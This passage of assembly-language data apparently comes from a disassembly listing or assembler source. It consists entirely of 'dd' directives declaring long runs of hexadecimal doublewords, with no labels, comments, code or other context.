		dd 0A9390E58h, 1E56039Ch, 0AA9796B8h, 6BA586AFh, 774A82BEh
		dd 0F18B2695h, 0B22F128Fh, 978DE5EEh, 0A5B77C01h, 76F81C4Ah
		dd 1663E1D6h, 0B203E95Fh, 3357AA8Ch, 73F42125h,	89C9D8B8h
		dd 0D03D1387h, 56071C6Ch, 0AB06475h, 0D54A071Dh, 2C3A3F21h
		dd 4A75EF03h, 0A862BABAh, 3C02137Fh, 1231E411h,	594CF0BCh
		dd 3CC355B2h, 0A87986A1h, 0FE88D991h, 6F9D6606h, 4BA85308h
		dd 1B28100Ah, 5A8E90BBh, 0F523B6E5h, 4E8445B3h,	804A237Ah
		dd 428B7781h, 0AA183EE9h, 3FAC892Fh, 0A3316806h, 0EA055C96h
		dd 6691311Bh, 2CB278CAh, 5C9F88FDh, 0A2FEDD6Ah,	9312505h
		dd 4DE8052Dh, 1EC61250h, 0A4ED27ADh, 0A860F89Dh, 42336CA8h
		dd 0A59E1AF2h, 0DC1E014Ah, 685E7999h, 40776784h, 0FCFD66C3h
		dd 25B98F69h, 2F71F4FBh, 66A8B75Ch, 5BE80632h, 95AF4084h
		dd 0B34018D9h, 0AFA89028h, 512DE47h, 370BCF6Fh,	0ED70EA69h
		dd 64E5EB0Bh, 6FF1C34h,	2170D1E7h, 0E0F59557h, 35338ACEh
		dd 0BF3438Eh, 0D62D3CB3h, 0E5D57A33h, 40E1BB0Eh, 0DA2D45C8h
		dd 350D1DE2h, 821FDFAEh, 0C67E57C3h, 832856F1h,	0E069F2F3h
		dd 573D3CA0h, 0E85FA967h, 6281D556h, 409A2410h,	0B959BF78h
		dd 7BD555h, 0EBA5F2B4h,	89A654D6h, 0A2527A4h, 59469571h
		dd 0D1226217h, 0D3DAE71Fh, 0F91241E8h, 94781B52h, 3558CFD1h
		dd 0B469B20Fh, 0C6823D77h, 43F252BAh, 4A6A8E4Dh, 0ABC5041Ch
		dd 158AD45Fh, 0DB3AB793h, 0CA2460A7h, 58C5588Ch, 4448F22Eh
		dd 0CB464BE9h, 6C043BB8h
		dd 3518D7EDh, 94D71D52h, 0AEC146B0h, 791EF6B7h,	32E9C411h
		dd 45CE8FFBh, 96D0D09Ah, 0C72D443h, 9D485B85h, 0C4FC02D4h
		dd 8B27FC88h, 0FAC2D263h, 698E429Ah, 57C4859Bh,	81B48331h
		dd 0EC925446h, 414D0587h, 3CD26A2Ah, 0AB46C731h, 460536E9h
		dd 34F94322h, 0A07E8BF2h, 184A7E81h, 74DA4295h,	0CCC3B5CDh
		dd 0C22F9E90h, 0EB837DF0h, 0D90C82ACh, 389C7D25h, 4D7AADFFh
		dd 8A564705h, 5C1A85AFh, 3D1409ACh, 0F498C9E4h,	0AFB7469Ch
		dd 0BCED387h, 0AA609F5Dh, 0D386D699h, 1744FA69h, 50E781BBh
		dd 1CB3CCF2h, 9E3E1DF9h, 3762C7D1h, 0F080BD09h,	0B966F38Fh
		dd 89748F05h, 872127FCh, 1E692ADDh, 9EDDA062h, 0B9B6CAF8h
		dd 0BB00EB21h, 0A09F9A24h, 4D15D60Bh, 0A08B7E57h, 0E4B9B5AEh
		dd 0D3123121h, 6F0A41Eh, 26E80154h, 5FCCCFA1h, 3F317E6Bh
		dd 0F96D1CB6h, 30A02ADAh, 82E95F48h, 0FF9B3D7Fh, 9BBA2B4Ch
		dd 0AAFCF1A9h, 745FA197h, 0BA06E269h, 705DB6EDh, 0AA0D8E42h
		dd 1761CF13h, 9A82AF5Ch, 31FDA419h, 1AA1D14Ch, 0C6D5B019h
		dd 0CAB3AE9h, 0AC347EB4h, 0C0ECFCCCh, 21E0AAF3h, 118068CFh
		dd 0F190FF68h, 0F349E977h, 38117798h, 2A37C038h, 3963530Ch
		dd 0ED9BA9Eh, 0FA2CAEF1h, 51694A01h, 857F320h, 0E528B4E4h
		dd 0B30E542Ch, 489C72B4h, 0FAA0D8A2h, 4C82486Dh, 6A87DB3Eh
		dd 0FF9E938Fh, 7F2F41C5h, 9747AE3Ah, 166C9BF2h,	43EB6212h
		dd 0F7AF2F9Ah, 2F89A8EBh, 6B7729D3h, 7FCF63AFh,	5C8E55D3h
		dd 6FDEEC72h, 0F1786532h, 98F6E133h, 0F702DDB7h, 3ADF4712h
		dd 35626E66h, 0F0C27CCFh, 6BD092E0h, 3F4445F6h,	0FC98C4D9h
		dd 202E21E7h, 0B6042D73h, 92E4D6F4h, 55983A89h,	4C8B8A8h
		dd 0E557CC81h, 0CF84D1E3h, 97C524BDh, 18980005h, 48EDF972h
		dd 243DF10Ah, 300D7878h, 0CD154550h, 0AA8232EBh, 1A418D5Eh
		dd 0DFA44DA3h, 0D3952EBDh, 28D0B3EAh, 1DA3A037h, 70593110h
		dd 0FE06BE9Ah, 27BDAC2Bh, 4B1C36C4h, 6AC96E7h, 0C2333405h
		dd 90730AC0h, 512045C0h, 57EB2536h, 0ADE75845h,	11A41FE3h
		dd 91004256h, 0BE84C6DEh, 0F1AD94BCh, 9978C6D7h, 0A8F10EA8h
		dd 4538964Dh, 1ABC7DCAh, 9AAAF868h, 0BBC2AA86h,	0FEFB8775h
		dd 77A2A74h, 33966A5Ah,	45FC5B9Ah, 0CF8DA660h, 86C3477Dh
		dd 0FC09DCA1h, 0C8A7B6B0h, 0B1E07284h, 290E443Ah, 0EE87066Dh
		dd 82CD7DD0h, 61FB7C75h, 34355E70h, 77C7F2AFh, 806CC12Bh
		dd 7A0CB2Ch, 0BA9E110Fh, 0DD5F2515h, 0D0988200h, 0A969F2Fh
		dd 4063741Fh, 0A9F7163Bh, 65037B96h, 212C3EE2h,	0BCBB346Dh
		dd 6F9B3C3Fh, 0CDA1F2B2h, 3F38DE1Bh, 831E67D0h,	0C872C7EDh
		dd 587FDDB9h, 0E2736C44h, 0A1C413C3h, 91672ACh,	43AA22FCh
		dd 52238E35h, 0BAADD542h, 8E1BF24Dh, 0ED63B52Ch, 0CA3A0210h
		dd 9CDD0DEBh, 79548EB4h, 63EC4DAAh, 0DBF1C901h,	0AA369802h
		dd 0E23BC871h, 9CDDDC90h, 0FAB5A893h, 0A7227E5Ch, 78C2A2DAh
		dd 0C313568Ch, 1E54A03Fh, 2EC4AC5Eh, 39CC44D8h,	8E92E0DEh
		dd 30E8E77Fh, 0D69A6845h, 0D0B7B8A7h, 0DAF5F3EBh, 78996FC5h
		dd 1B18969Ah, 97BB881Fh, 0F3A455D6h, 7ECAAF15h,	0CFBD0D7Ch
		dd 0A24F79A4h, 0E6F27C1Ah, 0E9B9DE97h, 0E05A90FDh, 9C4F7E51h
		dd 6E6B9921h, 17D8F3FDh, 22895DFCh, 1A86F6D5h, 70A6F5C4h
		dd 6F73E821h, 0C689E55Bh, 77BAF8A5h, 216EDF71h,	0CBF8076Ch
		dd 4EC2B4EEh, 84DAE45Fh, 5CC37BB9h, 0C5A17864h,	9AC6DF62h
		dd 9155BEB3h, 0BDFC5DE1h, 74699E0h, 6AC3F917h, 0E36E99EBh
		dd 0C3BDCF09h, 57F8B566h, 0CDAD411Dh, 0D5A52A9Ah, 7B6DDB6Fh
		dd 5436373Ah, 7147E9BBh, 0FDD7F776h, 4E9574A1h,	112AF2Fh
		dd 0AF617619h, 597B0215h, 8BB0E52Fh, 7187696Fh,	8D6FFF5Dh
		dd 5E5CAE28h, 0AACEB829h, 0A7819C4Eh, 75C1F70Fh, 0A659FBA0h
		dd 91EE5C38h, 3C09FBE5h, 5EDA5E39h, 420F91E4h, 17627662h
		dd 3C6B58E8h, 205FD671h, 0AB4D2F8Ah, 7898E66h, 5D366396h
		dd 0D7AE72B6h, 0D0BDFAEDh, 0E85B317Bh, 600E844Dh, 0BC1CDD79h
		dd 6404A35Ch, 0CC45353Bh, 227BF9EEh, 8889181Eh,	0FC490374h
		dd 100EBAE8h, 0BAFB596Fh, 22B5A2E9h, 0ADB1EA49h, 7DD556F1h
		dd 50D2BA76h, 1E3C5672h, 69B06713h, 0FEC41FBBh,	529299EBh
		dd 980A1D9Ah, 0B7ABF0DBh, 4F0F6D1Bh, 40D7AAB7h,	0C27FB024h
		dd 2CBFF3F7h, 0FD76F581h, 0F1924098h, 118B33F3h, 63D0CCF0h
		dd 80403E57h, 5CB9245Ch, 0AE8085BDh, 8EEC2B47h,	0B6E8EFEBh
		dd 0D4100187h, 5250B41h, 25C426A5h, 0FE630CBCh,	0F9A31D51h
		dd 0B1331536h, 0D2C6F2EBh, 62C566EBh, 0B410E140h, 0C72B59F8h
		dd 0B8734E95h, 7FBDEA2Fh, 72D81516h, 0D29C55C0h, 8B11CBF7h
		dd 0C07096A7h, 3905716Ah, 0DE684F39h, 0D269C04Fh, 11AD2C74h
		dd 216E6B0Bh, 135D5CADh, 94618DADh, 4E06221Fh, 8ABBC953h
		dd 0CCB5FB4h, 597FF5D6h, 8EB40B8Fh, 0F8893B36h,	51D2D700h
		dd 37A3BB5Bh, 0F1CDF20Fh, 0BC2E91B3h, 0FA15DDB1h, 6E07951Bh
		dd 0E181BF06h, 8F2F39CCh, 2880E6D0h, 664F6802h,	0A505752Eh
		dd 0F35793BFh, 0DFE41BFAh, 0CFED2E72h, 4124A323h, 0CCC13551h
		dd 0DE92401Fh, 0FA983D98h, 0BE150A25h, 150D5152h, 98A8A3BCh
		dd 0EA232A30h, 20597FFAh, 109D5B7h, 0F08C2458h,	18691249h
		dd 0CF7D26E8h, 99EB226Bh, 2D5DA87Fh, 0E33097FEh, 0A1EDD6BCh
		dd 0FFA003EEh, 327F67CCh, 0B4DF055Dh, 95B14DCCh, 0FCFDDA36h
		dd 0C93F1193h, 3039697Bh, 4D3C10EFh, 0BA6054FEh, 2A82AB28h
		dd 4B77CF73h, 0FBF9A2CBh, 0AFF2647Ah, 1F45A4Dh,	5C456D9Bh
		dd 3C14317Ah, 3AADC60Ah, 0BF1E1ADEh, 4482EF7Ah,	0EBCDA224h
		dd 0A9C4D180h, 0C973A1F5h, 283EF8D1h, 423839FFh, 21B7728Bh
		dd 62287716h, 0DB7A0B49h, 18B1D36Bh, 9CADC2E3h,	90825B3Fh
		dd 18F7E7BEh, 0EEC4ABB0h, 0D99F6411h, 15F512A6h, 0A134F9ABh
		dd 0B65F9C5Fh, 13122897h, 0F5D37787h, 0BE8E5E46h, 0A722FC18h
		dd 0D2CC1111h, 9BD2E2FAh, 3A3156BAh, 33A452CFh,	9C59C635h
		dd 416A00D8h, 2DACF8CDh, 7FAE2D4Dh, 463B48FBh, 0CEDE3DF0h
		dd 8934B64Dh, 713364E8h, 2799A722h, 0DF503D08h,	0DA279C48h
		dd 3AC4D96Bh, 24F7F55Bh, 4740198Ah, 0A50AF3BBh,	47827D01h
		dd 0CB92ECAEh, 0F159A0E4h, 6C9A7B09h, 0DBAC4DBBh, 9F0977E0h
		dd 4DEEB8E4h, 2AD103ADh, 8BAB5198h, 0FA21D07Fh,	2A87A663h
		dd 0BE9AD23Bh, 7FA1366Ah, 3167658Eh, 54C5C893h,	0BA44C497h
		dd 6DCF2A48h, 0C62E53Ah, 0C00C17E9h, 5709207Ch,	88E8C460h
		dd 8405232Bh, 1DDEC6E0h, 0B9699ECCh, 6BFC9C9Ch,	0B93A84FBh
		dd 9BBA8054h, 6A062B03h, 0A0EE8237h, 0B85311Bh,	0DD051E3Ah
		dd 4422F000h, 1FF2D233h, 3023063Ah, 367C6192h, 61E5047Ah
		dd 1CB2B57Ah, 0F30DF147h, 3025DA90h, 7B345870h,	7FD0897Eh
		dd 9C31A95Fh, 7C32AB24h, 56DC6DEFh, 5F7F9466h, 200DC9DEh
		dd 0E8188773h, 0B15FDFh, 69810F53h, 93419734h, 10A31D60h
		dd 2A66D954h, 5EBD1FB8h, 0B5B3A154h, 42EEA868h,	0F6AE56F1h
		dd 0FC27F257h, 7E30C731h, 0B3AACD4h, 0D043136Fh, 48FDFC24h
		dd 0BBBF106Eh, 9603A674h, 0EE30D57Fh, 28E30DB4h, 5C6AC3C8h
		dd 92B6C642h, 0C82B57C4h, 2742AE1Fh, 7D904141h,	0D9A6B35Ah
		dd 0B43F8EF3h, 0B706BD77h, 0F94EB784h, 1937A2A6h, 861A8851h
		dd 9A1D8C98h, 32139F2Ah, 4089BAA0h, 0F94D82FFh,	0D6DAB56Dh
		dd 67FB62CCh, 0B57DB2A8h
		dd 0F23302C3h, 0D03DED68h, 1EDEA8FCh, 0C1EE413h, 0D731630Fh
		dd 5271D70Fh, 26A1C88Bh, 229573EAh, 5A2BD6DDh, 84907E64h
		dd 862085EBh, 68910137h, 23FCBC00h, 53DF1CA1h, 0BFC931B7h
		dd 2FDED36Fh, 0E7ED2764h, 55FE93E2h, 6C758FCBh,	1FD9226Ch
		dd 726C0C1Ah, 875C530Fh, 5371AFCDh, 8D9AFCA9h, 7F7B49C3h
		dd 7D454BEEh, 0D2AB1FC2h, 479B0E6Ah, 0A7DBE59Bh, 3EA46989h
		dd 0CC96926Bh, 0A56B4ECAh, 0A4907E8h, 2C63C3D3h, 0B9E64262h
		dd 0B1A969AEh, 0D7BEBB27h, 0DF4E0850h, 58ACD9DBh, 0CD7A7A6Fh
		dd 0C631B759h, 0A79B0766h, 0C5D4DA21h, 9DEF338h, 19104664h
		dd 0ADF059E2h, 0D8BFBCB8h, 0B4A4F37Ch, 0E17DCE9Fh, 150BC39Ah
		dd 0CDDC2F56h, 19296112h, 0D35BF692h, 0C3981FA2h, 0C8F6C621h
		dd 0D2615DCDh, 0B011E703h, 0C56D8FD6h, 46B24DB9h, 0CC9D3AB3h
		dd 0FD860C35h, 0C692CF92h, 0DF44559Dh, 63F889B2h, 0A657D947h
		dd 94F362A8h, 8E24C808h, 155A0B17h, 0EFFF5701h,	0B6855E8Dh
		dd 0B1A2EF4Ch, 0FE12DCD8h, 240B12Fh, 67DFE217h,	0EF6D31FEh
		dd 1F80CC13h, 9D2F85ECh, 5D730B99h, 0C85ED956h,	3BDCD6BDh
		dd 0F37B84EEh, 0F1B68752h, 627234FAh, 7726B7B3h, 0D1F126E6h
		dd 2D47C0D3h, 0EB05A056h, 3F3B4137h, 0FCCF1676h, 0A7157BDDh
		dd 8A71ECA7h, 7C26275Dh, 0CED478C9h, 0AECCB1Fh,	477DE6D0h
		dd 0BE3951BAh, 2E294AAh, 0A4EBFEB8h, 0C05B7E4Dh, 26524E8Ch
		dd 6252A7A1h, 32C94026h, 36BBD2C5h, 43C0ACB0h, 0B0B6F335h
		dd 373F471Dh, 8E03DB1Fh, 0E095A084h, 0F8CF59Fh,	38FDB2B0h
		dd 0FC7CFC4Dh, 3B651E11h, 0E7F047BAh, 0BBFDD08Dh, 90BDA81Eh
		dd 0B5FA17h, 25EF8F96h,	0D48F677Eh, 378041F0h, 122C35E0h
		dd 13A8673Ch, 41F2D392h, 5F7331B8h, 0A518E13Bh,	24CF3FFBh
		dd 7E8CD1AFh, 4BCD718h,	10E4B9B4h, 0EF457C1Dh, 1D849030h
		dd 94ABF0A5h, 48D5774Fh, 0B82B5E42h, 0E5E3372Bh, 0AFA0CC8Ch
		dd 34F719C5h, 0A2DCE341h, 83E43328h, 0CA0C5B62h, 379AF53Fh
		dd 3DE56A06h, 0BFEC83E6h, 64AFBF77h, 9E6D5F2Fh,	58351400h
		dd 2FC23D6Eh, 0BCC0DF1h, 64C79524h, 2AED2848h, 988D007Dh
		dd 1FD4E801h, 6745BA91h, 5E780971h, 9C8A200h, 0E2F6B876h
		dd 29719AE2h, 4DAB57F4h, 0EE6B9258h, 2057CD15h,	28802D18h
		dd 6041D31Fh, 94D3C9EFh, 1916166Dh, 0FD73744Fh,	0E85B5C8Dh
		dd 6BF23F44h, 0A4C2680Dh, 0FEF0A23Ch, 6D6DFA5Ah, 19F38C65h
		dd 0C1C297BFh, 8BFD6984h, 11E44FCh, 0E5661E97h,	14539850h
		dd 6CD539F6h, 0E29F0869h, 5DE23742h, 0E543365Fh, 2EF2DDDDh
		dd 7A212948h, 575A4986h, 76AB0E12h, 1E5F4854h, 0C8121FF1h
		dd 0C95878D4h, 4EBD5E53h, 0F8ABA1A8h, 0C775DD69h, 7E8806D4h
		dd 6AB5F5A0h, 0FC70815Ah, 0C1EC14F5h, 7AE2754h,	8B518B9Bh
		dd 7E1E6834h, 0B23DB611h, 298760Bh, 8CA07799h, 94CEB64h
		dd 0FB788E4Fh, 0A0C7CBF4h, 1167FDEFh, 0BB904CB6h, 0B6FE8F0Ch
		dd 0DDF0FEDCh, 9DF5A311h, 0E48F28F6h, 0A6BBFDD1h, 1406D6D2h
		dd 0B6AD8765h, 0D9321BDh, 7C61D2F7h, 522EECA1h,	56E990EDh
		dd 0DD170142h, 133C496h, 0B435EB13h, 3AD1D9Ch, 4B0CED55h
		dd 89B259E7h, 47A3B4A4h, 813B2536h, 0E24D8B08h,	0D772FAF6h
		dd 37919F7Dh, 0C609A159h, 4DABACD7h, 0E5D01C0h,	0CCC7478Ch
		dd 78A9D7EBh, 0EE0E43E5h, 0FC4DFE25h, 2EFD2222h, 13494091h
		dd 0D891B844h, 0A94B2B9Fh, 0E59DCA74h, 3DD4A56Eh, 5D5F7BCh
		dd 87FE1E42h, 1A349F5Ah, 0BCF9ABBEh, 71A73991h,	3D160B14h
		dd 382E6950h, 812D171Fh, 8CAA0D29h, 74A698E4h, 1AEABFCDh
		dd 1A9F4DF5h, 57ED8D97h, 56223D8Bh, 0D7BD0594h,	64D295D6h
		dd 18F69FC0h, 73A7D250h, 80E4A329h, 7CF5BB64h, 0A157A70Dh
		dd 6388A396h, 258164D5h, 9D688B34h, 0F53AD64Eh,	5062707Ah
		dd 0C58AD718h, 0F666A232h, 72DA989h, 54D53147h,	424F51BBh
		dd 0D26CCB32h, 897F9D2Eh, 0AD66BC59h, 0B305F450h, 0A774A200h
		dd 2A9CBF3Fh, 9FC9F941h, 0B97DCCA6h, 5537EA79h,	32554420h
		dd 2E2A31F2h, 0BEE96AAFh, 24B7832h, 2717D029h, 27086F33h
		dd 3486DF72h, 0C4784D62h, 0DD71A168h, 0B23D01B9h, 6A7BD96Dh
		dd 0C93F95F4h, 7873FA15h, 1EE68576h, 0B2AB3BC3h, 0E8230AB1h
		dd 64CE6BB7h, 71A5BDBDh, 510F415Bh, 15D20BF2h, 3A9CF39Fh
		dd 64CAD4E0h, 0EC0E15E3h, 40503936h, 0FC676276h, 20BAA90h
		dd 91777C9Fh, 0BB90EAE0h, 0CC1AB7F6h, 24BF298Fh, 97B1A6BEh
		dd 0D3DA6798h, 6B1DA2C1h, 0AE5F6304h, 0A621E956h, 5D157F3Bh
		dd 0E9CA5C86h, 2DAEB280h, 3E530E5Ah, 49EE1E7Ah,	48737516h
		dd 0F97E1F05h, 0DE94AA69h, 6B812997h, 385615C0h, 9766BCF0h
		dd 3D637328h, 0F308F2B1h, 60866B37h, 8832BC10h,	64B8209Fh
		dd 0FE09C574h, 0EDEE0395h, 0E56BD4EAh, 0DBD9619Eh, 0DBF73562h
		dd 71CF296Ch, 2559B9BAh, 44F8AAFBh, 74BB446h, 97BF2C4h
		dd 1A4CAC5h, 0C27F5C2Fh, 0A562E198h, 0B5891C78h, 331F7BDDh
		dd 5D259721h, 797BF129h, 0B512445Fh, 8A26313h, 1AB71647h
		dd 0F434F288h, 0FCCBF83h, 97CA787Ah, 62CA2D3Fh,	40507D7Fh
		dd 3365945h, 886ECF44h,	0EB15A785h, 8D597CFFh, 212462BBh
		dd 0FC16BE27h, 771ED3D2h, 6C836CAFh, 674943E7h,	1EA465D2h
		dd 0C6A7C0FEh, 0DB848484h, 12C3D7F9h, 0A38AC9F6h, 73D90394h
		dd 0F57CDE5Fh, 6BF8E5ABh, 0B8BBA08Bh, 0FE6831C7h, 0B8EEF87Fh
		dd 761F4969h, 0BC99CED3h, 774F085h, 0D4951DA0h,	15A6BF38h
		dd 799C67h, 0EBA98A16h,	5F1C86EFh, 80581AF4h, 4496BE9Bh
		dd 0A0D18CCFh, 3DA1C2D3h, 3FA99BD5h, 0EC156F7Fh, 30EE27BEh
		dd 1F55EB3Bh, 0A0CD3807h, 0B55B5EAAh, 0F498360Ah, 92430568h
		dd 47B8DFE8h, 99DD85B1h, 0E67A7B96h, 475FC04Ch,	0C8298351h
		dd 0D2E25476h, 0B087554h, 0AA6CD784h, 3FF866C6h, 727BF7E7h
		dd 0A33AAB88h, 0CEAECDA7h, 4587802Eh, 0CB3184CDh, 8382E5FDh
		dd 822F8B52h, 2C35AEEh,	4B4FDD04h, 0BFA0CEDDh, 4E3E82B7h
		dd 4FF47DA6h, 33E8F6B7h, 0BACB8201h, 0C18259h, 3764024Eh
		dd 0A29AD5BBh, 9FA2AB1h, 0A419F6D4h, 5943EE68h,	0A71C94E7h
		dd 56D26D14h, 5CC523ADh, 0F6B115h, 47E84F85h, 48D6ECD4h
		dd 0AD751923h, 1ACFA801h, 191DE78Ch, 9248D670h,	858E7983h
		dd 1C47AE7Eh, 48E8C379h, 0C22E727Bh, 9476D09h, 8E57E08Bh
		dd 2D6AFD14h, 611F55B4h, 0A400FA9Fh, 978D3FC8h,	5E5EDEC0h
		dd 23DE2F99h, 0AA159C6h, 86DBC581h, 86926A93h, 81633836h
		dd 1316031Ah, 74511891h, 2CABCCC8h, 8E16E1DAh, 628ED8BCh
		dd 0A01D4038h, 44DBFA3h, 4A3695Eh, 0E4E1288Fh, 7A96BA5h
		dd 9013D668h, 0C9D487BBh, 2D658AFCh, 276DE523h,	0F407A01Eh
		dd 7A8E1057h, 0F20363BEh, 55B7E034h, 0FB615872h, 7763D758h
		dd 8CCB1081h, 89CAFD0Fh, 0FC1C0614h, 0A22AB48Fh, 0B665DC54h
		dd 35F3B193h, 8B80380Ch, 9A397EDDh, 7A31EC96h, 0F4019BE7h
		dd 502FA528h, 0A91562A8h, 0A588AC05h, 0D5BC1293h, 0D02F1D7Fh
		dd 0A958447Eh, 56F866DFh, 0DDBE3CC4h, 6A2C0BE5h, 0ABA14FABh
		dd 28C561C7h, 0C4A23AF4h, 2687200Dh, 0AB0F5115h, 0ACED8D87h
		dd 0EADEE3A7h, 0FCC666AFh, 4381383Bh, 0BA83C017h, 92A453DAh
		dd 5B2980C6h, 0F4832313h, 0FB45D0FEh, 0BD24612h, 9EEBA418h
		dd 841E998Bh, 0B10FEBA5h, 0A506AA7Fh, 40A43A49h, 2509D784h
		dd 0DF86E15Dh, 2421542Bh
		dd 91CEA1AAh, 33D0C3Eh,	0D0C93482h, 98604FB3h, 0F95F210Dh
		dd 18DEA266h, 0B4E61C46h, 46CEB3B0h, 2CD68E70h,	0D5B90E89h
		dd 0F634837Dh, 6A84C40Dh, 2FC99CC9h, 78CCB68Dh,	0DE1021A8h
		dd 4DB7214Ch, 0C348109Dh, 5979C2F8h, 0DAA109C1h, 0B68F5CAAh
		dd 198790F1h, 3A760C53h, 6F6F1DE8h, 4AC5A3D7h, 0C5E9A561h
		dd 0B091E118h, 3A277B38h, 28273AEFh, 6940676h, 58D63328h
		dd 0DE1D1FE6h, 5A1C7CA6h, 0D3652E6Eh, 0B73BCDC6h, 0E467427h
		dd 0C44D259Ah, 0B6D21C00h, 7ACC420Ch, 7A886451h, 0CB678259h
		dd 9F658A98h, 6AF171C6h, 1BEAAB38h, 0BDBEB918h,	89607ACFh
		dd 79D84744h, 2557B5E9h, 100C6D31h, 504421Bh, 74E52D17h
		dd 0C41D85E2h, 712FB532h, 43AC307Eh, 7B73CBECh,	7F5B3953h
		dd 131DE054h, 69343D56h, 0A5F2B138h, 306D6C5Fh,	38A63609h
		dd 9C5BCDF2h, 0C3F18451h, 11795A36h, 0F490E3D2h, 0F238B113h
		dd 0FC1EFD67h, 128B81E4h, 6FA72658h, 10647BE7h,	925557E0h
		dd 384AE722h, 392D33D6h, 0B3B143DDh, 0A9E72489h, 0D35E7923h
		dd 81215AC4h, 0A44C012Ch, 0A6F08482h, 4D526725h, 0F7A8C5EEh
		dd 0F2E3BD66h, 3526E3D2h, 0B9A938FAh, 0EBB1B929h, 19719D6Fh
		dd 0D20AAE8Dh, 17A99E77h, 0E293A0F3h, 83C23AFBh, 43C38524h
		dd 80A9556Bh, 42EA8AAAh, 85F3389Eh, 0C5ABB804h,	0C404EBC0h
		dd 0D24B60BEh, 0BC6E29A4h, 8FD8FD04h, 5604BBF0h, 0EB07B46Bh
		dd 5CED8945h, 36E08F2Fh, 0B8984B88h, 74E16E33h,	27DC6584h
		dd 53FC29AFh, 461B2h, 69A76D4Dh, 0E7AF00F3h, 0C2E13114h
		dd 0D89A4281h, 0E9EE46AAh, 2B00F016h, 0F8C1532Ah, 3C66E89Dh
		dd 0D8F402Eh, 858DBC49h, 4C81DCEDh, 931C7139h, 7D7F702Dh
		dd 19A5253Fh, 0B2230582h, 23DF69E9h, 0BEF915E1h, 0BD3BCCE2h
		dd 8ACC27FCh, 9F504DC5h, 7C50EC92h, 21B73719h, 79CE168Ch
		dd 46C06AAEh, 0C732344Bh, 6F0487DAh, 0E221B77Dh, 0E64A46C7h
		dd 4CEA4164h, 7673CEB4h, 81247C34h, 0B2AA1D88h,	5D133A39h
		dd 3BFFC799h, 0E4370179h, 49822DC1h, 6A847654h,	6FE3C9B7h
		dd 9895B67Eh, 76F060h, 3B0FB714h, 177D143h, 0AAE86ED1h
		dd 86503A67h, 0EBB7DF0Dh, 58118806h, 0F3428420h, 0B784EF52h
		dd 0AFBCAA9Fh, 7DA9BEDCh, 0DA734B75h, 67463CD7h, 0F21BB617h
		dd 0C7BE6916h, 181381D6h, 2482F194h, 0C49CE7C9h, 7C80FE36h
		dd 2568F982h, 0E242B2DDh, 6ED784BBh, 5268CB35h,	7853A65Ah
		dd 0E1DAABC8h, 0A26B06C5h, 0C62DF00Dh, 5DC2B20Ah, 541CE345h
		dd 5D62170Bh, 2FEBFCC4h, 0F9DA376Eh, 9D34DFCFh,	0CF369A7Ah
		dd 90D61640h, 0E854607Ch, 0DA994936h, 94B0731Ah, 8CD2C8E1h
		dd 48519235h, 0BEDE8301h, 3DBEDE85h, 89BF0C53h,	0AEA68286h
		dd 4992714Bh, 0BA1AF910h, 3A26294Ch, 0BD3C22E3h, 3D5D28DCh
		dd 0AF7A2E98h, 4F1D94BAh, 0E1356377h, 1199AFEAh, 0EE9E4017h
		dd 38966725h, 0BDA378A8h, 0F03809B1h, 0D8B6234Fh, 9A908923h
		dd 0EB570B74h, 5FFE243h, 0C613881Bh, 0A4E949BAh, 6AFC1C28h
		dd 3B973A4Ch, 0CC22FC54h, 0B5A3A404h, 864BE1Ah,	48E525F9h
		dd 0B980532h, 0B466CDFBh, 0E4AA6DFFh, 0FEE6F047h, 0AB5345EFh
		dd 99D0E855h, 0F3336959h, 516B27E0h, 0B259BCBFh, 58DAF825h
		dd 0DA2C7BD8h, 0F78BE60Bh, 95993C45h, 0AD52070Ah, 0B0549270h
		dd 15BF96F9h, 0C8DE4EA8h, 0FE0AECC4h, 7B5D6CD7h, 35FEB487h
		dd 0D9B697A6h, 91042BC6h, 0B0A6944h, 91D0FAC0h,	15D07A24h
		dd 51F415DAh, 62022F49h, 4A075D09h, 0AF276BE7h,	74079620h
		dd 0D413F2FDh, 5FF8A90Fh, 0BA9E4639h, 3003F9E7h, 0C33982F2h
		dd 168777A8h, 11772D1h,	0CF915EE4h, 0C0E830A9h,	0DC6358D1h
		dd 4AA1B903h, 931C654Bh, 538C78C5h, 0B0129655h,	0E5131F72h
		dd 0AC166D93h, 0D8A38F98h, 565170Ch, 24502460h,	43B5341Ah
		dd 0AC634478h, 0EF7B0F7Ch, 68CFF086h, 0AC6FD050h, 8129DAE2h
		dd 0F98B8038h, 0FAF10C05h, 0CD043DA4h, 0EAC3D271h, 88257891h
		dd 0A834846Ah, 8F2755F6h, 0BD6A4664h, 0EF4C2837h, 3C130206h
		dd 5B552F96h, 0ADF13629h, 0F43EBD42h, 11E2A8CDh, 90DD613h
		dd 1301BB31h, 2019CF52h, 34565898h, 74DCE9A9h, 0F820CD1h
		dd 57070D0Ah, 0E53D9E6h, 2AA05F9Dh, 35F47B24h, 50FE893Fh
		dd 27C3B7ACh, 0A4A35DC1h, 24442932h, 7134C5A8h,	917DBBAEh
		dd 0C41D9837h, 0D3AE3784h, 0FB4B38B9h, 0F8DDFE06h, 0AC7A4E17h
		dd 313CC1DAh, 0AE3AB57Bh, 5201E47Fh, 0F530C880h, 0F64A861Eh
		dd 5870B4Bh, 96707F0Ch,	5263514Dh, 0DB0A0A4Bh, 51471043h
		dd 858F5E65h, 0C352EDF8h, 0D3588C07h, 0B7948B7Ah, 1726E4F5h
		dd 7A755718h, 0C9CD98A7h, 14FE2FD1h, 0C4C5141h,	54AB7E4h
		dd 0AF8FB6F2h, 6473241Bh, 0DC361E13h, 789FADBAh, 0ACED781Eh
		dd 8142A5A0h, 70B2D303h, 1C0CAC85h, 0B3E04183h,	0DDC22776h
		dd 0E1971DE9h, 6B271C8Ch, 0B878D4h, 0D43B631Ch,	39CB16AAh
		dd 49672005h, 5A896FAEh, 91CDD8A9h, 0F4924D92h,	58F69311h
		dd 0AD191EA7h, 4E311EF1h, 5C37D30h, 90CE8413h, 0CBC1323Dh
		dd 0BADAF486h, 3ED005D7h, 0DF64AEA8h, 1B0268F0h, 5AA2DB80h
		dd 75A54B16h, 42F2A565h, 88DEDF2Ah, 46496C78h, 4207BA9Bh
		dd 0B5E2D4E3h, 0BDE09437h, 0A5D0C8E2h, 6FF339E1h, 94290A5Dh
		dd 7A4D3F70h, 0CB7F6014h, 0C5D73503h, 0A14F45D1h, 6374A1BEh
		dd 0ABB263BEh, 2CFE110Bh, 0BF6BA9EBh, 6A2ABBC8h, 2167CAFFh
		dd 0E6E44F39h, 4E1D059h, 25AD9C14h, 0DDFCF578h,	7ED8F657h
		dd 836C05A5h, 0D004AD6Eh, 7B81AA7Ch, 71047787h,	21C26DB7h
